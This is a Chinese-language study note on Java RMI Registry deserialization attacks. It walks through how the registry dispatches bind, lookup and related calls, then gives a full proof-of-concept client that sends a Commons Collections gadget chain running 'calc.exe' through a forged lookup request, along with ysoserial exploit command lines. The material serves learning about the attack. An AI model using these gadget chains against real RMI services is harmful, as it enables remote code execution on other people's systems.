P师傅在Java安全漫谈中把Registry比作”后台”, 我觉得非常生动:
那么攻击面就有:
- 访问后台,修改远程服务器上Hello对应的对象:
如:
RemoteHelloWorld h = new RemoteHelloWorld();
Naming.rebind("rmi://192.168.135.142:1099/Hello", h);
但是这样显然是不可以的, 原因是:
“Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、
bind、unbind等方法”
或许这个和版本也有关系,低版本下可以这么用? // Todo : 待考究.
- 通过Naming.list列举Registry上所有绑定的对象,查看是否有危险方法可以利用
- 危险方法包括 参数有Object类型等.
- 查看绑定的对象很简单,但是如何获取远程方法?? // ??
- ~~利用Codebase执行任意代码, 详细利用见后文 ~~ 这个似乎是Client Attack Server的场景
反序列化攻击面,也就是下面的介绍
- 总的来说就是Registry暴露的交互”接口”, 存在反序列化
Registry处理流程
Registry对应的类实现: sun.rmi.registry.RegistryImpl , 不过这个类并没有什么有用的方法, rmi中使用的代理比较多..
这篇文章 https://xz.aliyun.com/t/8706#toc-6 有详细的源码分析,不过这里只需要理解一个dispatch函数就好了:
可以在RegistryImpl#lookup下断点,这样在client调用lookup方法时,就可以看到Server处理时的调用栈:
向上找就可以看到Server处理远程请求的RegistryImpl_Skel#dispatch. (单独找这个类找不到..)
这个调用方法做了如下的事情:
- 总的来说就是Registry暴露的交互”接口”, 存在反序列化
判断Client调用的是bing/list/lookup ..
- 分发调用,实现就是下面的这个case
case的各种情况与调用:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
然后可以看到,像bind,list,lookup等参数的处理: 都是接受反序列化数据,并且先做反序列化处理再强制类型转换的.
所以这些点都存在反序列化的攻击面
攻击可以参考这篇文章: https://xz.aliyun.com/t/8706#toc-9
- Server通过bind和rebind attack Registry
- bind和rebind是可以传递Object参数的
- Client通过unbind和lookup attack Registry
- unbind和lookup只有String类型
攻击细节暂且不看.
- unbind和lookup只有String类型
为什么还会有Server和Client的区分? 在RegistryImpl_Skel#dispatch并未看到有检查,可能在别处?
Client伪造lookup请求Attack Registry
以这个为例, 完整的攻击思路
因为lookup参数只支持String,所以想要攻击就需要实现一个自己的”lookup”:**同样也是看调用栈来找到stub的lookup方法实现,下面这个流程完全是可以复现的:
demo poc: 来自大佬文章,不过运行了会报错,能否打通存在疑问(?
文章备注了受JEP 290影响, 暂时还没研究这个东西 mark一下
package test.java.clientAttackRegistry.lookup;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class badClient {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
// Transformer transformerChain = new ChainedTransformer(transformers);
Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
Map innerMap = new HashMap();
innerMap.put("value", "Threezh1");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler evalObject = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 模拟lookup的请求:
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, evalObject));
Registry registry = LocateRegistry.createRegistry(3333);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);
// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);
// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyEvalObject);
ref.invoke(var2);
registry_remote.lookup("HelloRegistry");
System.out.println("rmi start at 1099");
}
}
ysoserial
- Client 攻击 Registry (受JEP290影响):“通过与DGC通信的方式发送恶意对象让注册中心反序列化”
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections2 “calc.exe”
- Server 攻击 Registry (受JEP290影响):
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.31.138 1099 CommonsCollections1 “calc.exe”
对于Server攻击Registry:
- 默认情况下,服务端向注册端进行bind等操作会验证服务端的地址(默认只允许localhost)
- 对于不信任的地址,也可利用
- 在8u141之前,JDK对于服务端地址的验证在反序列化之前
- 在8u141之后,JDK对于服务端地址的验证反序化之后